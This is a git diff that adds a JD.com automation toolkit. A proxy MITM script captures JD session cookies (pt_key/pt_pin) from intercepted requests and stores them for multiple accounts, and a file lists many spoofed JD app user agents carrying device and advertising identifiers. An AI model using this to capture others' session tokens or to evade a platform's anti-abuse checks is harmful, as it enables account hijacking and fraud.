diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000..cc6505def3 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,3 @@ +* text eol=lf +*.png -text +*.jpg -text \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000..7a86e61283 --- /dev/null +++ b/.gitignore @@ -0,0 +1,14 @@ +/node_modules/ +/yarn.lock +/.idea +/.history +/box.dat +/CookieSet.json +/jdCookie.js +/logs +/JD_DailyBonus.js +/result.txt +/.DS_Store +.DS_Store +/tools/account.json +/utils/exceptCookie.json \ No newline at end of file diff --git a/JD_extra_cookie.js b/JD_extra_cookie.js new file mode 100644 index 0000000000..228dfb797f --- /dev/null +++ b/JD_extra_cookie.js @@ -0,0 +1,119 @@ +/* +感谢github@dompling的PR + +Author: 2Ya + +Github: https://github.com/dompling + +=================== +特别说明: +1.获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +=================== +=================== +使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开 ,在个人中心自动获取 cookie, +若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 + +注:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] +=================== +new Env('获取多账号京东Cookie');//此处忽略即可,为自动生成iOS端软件配置文件所需 +=================== +[MITM] +hostname = me-api.jd.com + +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header JD_extra_cookie.js + +===================Loon=================== +[Script] +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=JD_extra_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=JD_extra_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +if ($request) GetCookie(); + +function getCache() { + var cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +function GetCookie() { + try { + if ($request.headers && $request.url.indexOf("GetJDUserInfoUnion") > -1) { + var CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + var CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + var UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + var DecodeName = decodeURIComponent(UserName); + var CookiesData = getCache(); + var updateCookiesData = [...CookiesData]; + var updateIndex; + var CookieName = "【账号】"; + var updateCodkie = CookiesData.find((item, index) => { + var ck = item.cookie; + var Account = ck + ? ck.match(/pt_pin=.+?;/) + ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] + : null + : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + var tipPrefix = ""; + if (updateCodkie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + $.notify( + "用户名: " + DecodeName, + "", + tipPrefix + CookieName + "Cookie成功 🎉" + ); + } else { + $.notify("写入京东Cookie失败", "", "请查看脚本内说明, 登录网页获取 ‼️"); + } + $.done(); + return; + } else { + $.notify("写入京东Cookie失败", "", "请检查匹配URL或配置内脚本类型 ‼️"); + } + } catch (eor) { + $.write("", CacheKey); + $.notify("写入京东Cookie失败", "", "已尝试清空历史Cookie, 请重试 ⚠️"); + console.log( + `\n写入京东Cookie出现错误 ‼️\n${JSON.stringify( + eor + )}\n\n${eor}\n\n${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + +// prettier-ignore +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +// prettier-ignore +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +// prettier-ignore +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} diff --git a/JS_USER_AGENTS.js b/JS_USER_AGENTS.js new file mode 100644 index 0000000000..bfad3b8c91 --- /dev/null +++ b/JS_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;2.1.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|2.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.1.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.1.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 